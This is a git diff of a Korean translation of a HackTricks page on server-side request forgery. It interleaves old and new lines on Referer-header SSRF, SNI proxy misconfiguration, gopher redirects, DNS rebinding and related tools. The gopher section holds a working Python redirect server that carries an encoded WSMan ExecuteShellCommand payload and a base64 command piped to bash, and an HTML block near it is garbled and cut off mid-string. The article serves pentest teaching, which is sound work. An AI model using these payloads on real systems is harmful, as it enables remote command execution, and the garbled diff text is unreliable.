서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 이러한 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 사용하는 것이 좋으며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
|
||||
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 이러한 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 활용하는 것이 좋으며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
|
||||
|
||||
## 인증서에서 SNI 데이터를 통한 SSRF
|
||||
|
||||
어떤 백엔드에도 연결할 수 있는 구성 오류는 다음과 같은 Nginx 구성 예제로 설명됩니다:
|
||||
어떤 백엔드에 대한 연결을 가능하게 하는 잘못된 구성은 다음과 같은 Nginx 구성 예제로 설명됩니다:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
|
@ -145,7 +145,7 @@ ssl_preread on;
|
|||
}
|
||||
}
|
||||
```
|
||||
이 구성에서는 Server Name Indication (SNI) 필드의 값이 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF) 취약점을 노출시키며, 단순히 SNI 필드에 원하는 IP 주소 또는 도메인 이름을 지정하여 악용할 수 있습니다. `openssl` 명령을 사용하여 `internal.host.com`과 같은 임의의 백엔드에 연결을 강제하는 악용 예시가 아래에 제공됩니다:
|
||||
다음 구성에서는 Server Name Indication (SNI) 필드의 값이 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF) 취약점을 노출시키며, 단순히 SNI 필드에 원하는 IP 주소 또는 도메인 이름을 지정하여 악용할 수 있습니다. `openssl` 명령을 사용하여 `internal.host.com`과 같은 임의의 백엔드에 연결을 강제하는 악용 예제가 아래에 제공됩니다:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
|
@ -157,21 +157,23 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||
|
||||
## PDF 렌더링
|
||||
|
||||
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성기(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**여기에서 자세한 정보를 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성자(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF에서 DoS로
|
||||
|
||||
여러 세션을 생성하고 세션에서 SSRF를 이용하여 무거운 파일을 다운로드하려고 시도합니다.
|
||||
여러 세션을 생성하고 세션에서 SSRF를 이용하여 무거운 파일을 다운로드하려고 시도하세요.
|
||||
|
||||
## SSRF PHP 함수
|
||||
|
||||
취약한 PHP 및 심지어 워드프레스 함수를 확인하려면 다음 페이지를 확인하세요:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
||||
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gopher로의 SSRF 리디렉션
|
||||
|
||||
일부 악용에서 **리디렉트 응답을 보내야 할 수도 있습니다** (다른 프로토콜인 gopher를 사용할 수도 있음). 여기에서 리디렉트 응답을 보내기 위한 다양한 파이썬 코드가 제공됩니다:
|
||||
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (다른 프로토콜인 gopher를 사용할 가능성이 있음). 여기에 리디렉트로 응답하는 다양한 파이썬 코드가 있습니다:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
@ -182,33 +184,7 @@ def do_GET(self):
|
|||
print("GET")
|
||||
self.send_response(301)
|
||||
```html
|
||||
<details>
|
||||
<summary>Click to expand</summary>
|
||||
<p>Header</p>
|
||||
<p>Method</p>
|
||||
<a>To</a>HTTP://192.168.1.1:5986/wsmans/
|
||||
<w:ResourceURI s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing</w:ResourceURI>
|
||||
<a:ReplyTo>
|
||||
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:Action>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous/ExecuteShellCommand</a:Action>
|
||||
<w:MaxEnvelopeSize s:mustUnderstand="true">10240</w:MaxEnvelopeSize>
|
||||
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-00000010000</a:MessageID>
|
||||
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
|
||||
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
|
||||
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
|
||||
<w:OptionSet s:mustUnderstand="true" />
|
||||
<w:SelectorSet>
|
||||
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
|
||||
</w:SelectorSet>
|
||||
<p>Body</p>
|
||||
<p>ExecuteShellCommand_INPUText</p>
|
||||
<p:Command>echo -n YmFzaCAtZCB8IGJhc2g= | base64 -d | bash</p:Command>
|
||||
<p:Timeout>0</p:Timeout>
|
||||
</p:ExecuteShellCommand_INPUT>
|
||||
</p:Body>
|
||||
</details>
|
||||
```
|
||||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%6f%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%6f%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%6f%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%6f%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%6f%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
|
||||
```python
|
||||
self.end_headers()
|
||||
|
||||
|
@ -232,12 +208,12 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
||||
## Misconfigured proxies to SSRF
|
||||
## SSRF를 위한 구성 오류가 있는 프록시
|
||||
|
||||
[**이 게시물에서의**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 트릭.
|
||||
|
||||
|
@ -303,7 +279,7 @@ var_dump($response);
|
|||
```
|
||||
</details>
|
||||
|
||||
PHP는 URL 경로의 슬래시 앞에 **char `*`를 사용할 수 있지만**, 루트 경로 `/`에 대해서만 사용할 수 있고, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없다는 등의 제한이 있습니다. 따라서 예를 들어 점 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
|
||||
PHP는 URL 경로의 슬래시 앞에 **char `*` 사용을 허용**하지만, 루트 경로 `/`에 대해서만 사용할 수 있고, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없는 등 다른 제한 사항이 있습니다. 따라서 예를 들어 점 없이 인코딩된 IP 주소를 사용해야 합니다:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
|
@ -311,7 +287,7 @@ Connection: close
|
|||
```
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
|
||||
만약 **CORS/SOP** 때문에 **로컬 IP에서 콘텐츠를 유출하는 데 문제가 발생**한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
|
||||
만약 **로컬 IP에서 콘텐츠를 유출하는 데 문제가** 있고 **CORS/SOP 때문에** 제한을 우회해야 한다면, **DNS Rebidding**을 사용하여 그 제한을 우회할 수 있습니다:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -319,9 +295,9 @@ Connection: close
|
|||
|
||||
### 자동화된 DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고, 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
|
||||
**http://rebind.it/singularity.html**에서 **공개적으로 운영 중인 서버**도 확인해보세요.
|
||||
또한 **http://rebind.it/singularity.html**에서 **공개적으로 실행 중인 서버**를 확인해보세요.
|
||||
|
||||
## DNS Rebidding + TLS 세션 ID/세션 티켓
|
||||
|
||||
|
@ -335,26 +311,26 @@ Connection: close
|
|||
|
||||
1. 사용자/봇에게 **공격자가 제어하는 도메인에 액세스**하도록 요청합니다.
|
||||
2. **DNS의 TTL**은 **0**초로 설정됩니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
|
||||
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에 삽입**합니다.
|
||||
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에** 삽입합니다.
|
||||
4. **도메인**은 **자신에 대한 무한 리디렉션 루프**를 시작합니다. 이는 사용자/봇이 도메인에 다시 **DNS 요청**을 수행할 때까지 도메인에 액세스하도록 만드는 것입니다.
|
||||
5. DNS 요청에 **지금은 개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
|
||||
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (여기에는 공격자의 페이로드가 포함되어 있었습니다). 축하합니다, 사용자/봇이 **자신에 대한 공격을 수행**하도록 요청했습니다.
|
||||
5. DNS 요청에 **지금은** **개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
|
||||
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID**를 보냅니다 (여기에는 공격자의 페이로드가 포함되어 있었습니다). 축하합니다, 사용자/봇에게 **자신을 공격하도록 요청**했습니다.
|
||||
|
||||
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211(포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
|
||||
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211 (포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
|
||||
**이 공격을 수행하려면 다음 도구를 사용**할 수 있습니다: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
이 공격에 대해 설명된 토크를 확인하려면 **다음 링크**를 참조하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
이 공격이 설명된 토크를 확인하려면 **더 많은 정보**를 얻으세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
눈에 보이지 않는 SSRF와 일반 SSRF의 차이점은 눈에 보이지 않는 SSRF에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만 악용할 수 있기 때문에 악용이 더 어려울 수 있습니다.
|
||||
눈에 보이지 않는 SSRF와 보이는 SSRF의 차이점은 눈에 보이지 않는 SSRF에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 공격할 수 있기 때문에 공격이 더 어려울 수 있습니다.
|
||||
|
||||
### 시간 기반 SSRF
|
||||
|
||||
서버로부터의 응답 시간을 **확인**함으로써 **리소스의 존재 여부를 파악**할 수 있을 수도 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
|
||||
서버로부터의 응답 시간을 확인함으로써 **리소스가 존재하는지 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
|
||||
|
||||
## 클라우드 SSRF 악용
|
||||
## 클라우드 SSRF Exploitation
|
||||
|
||||
클라우드 환경 내에서 실행 중인 기계에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
|
||||
클라우드 환경 내에서 실행 중인 기기에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
|
@ -391,11 +367,11 @@ SSRF 취약점을 감지하고 악용하는 도구
|
|||
|
||||
* [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위한 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 _gopher_ 페이로드를 생성할 수 있습니다.
|
||||
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위한 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRF Proxy는 취약한 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
|
||||
SSRF Proxy는 Server-Side Request Forgery (SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
|
||||
|
||||
### 연습하기
|
||||
|
||||
|
@ -407,3 +383,25 @@ SSRF Proxy는 취약한 서버를 통해 클라이언트 HTTP 트래픽을 터
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
|
Loading…
Reference in a new issue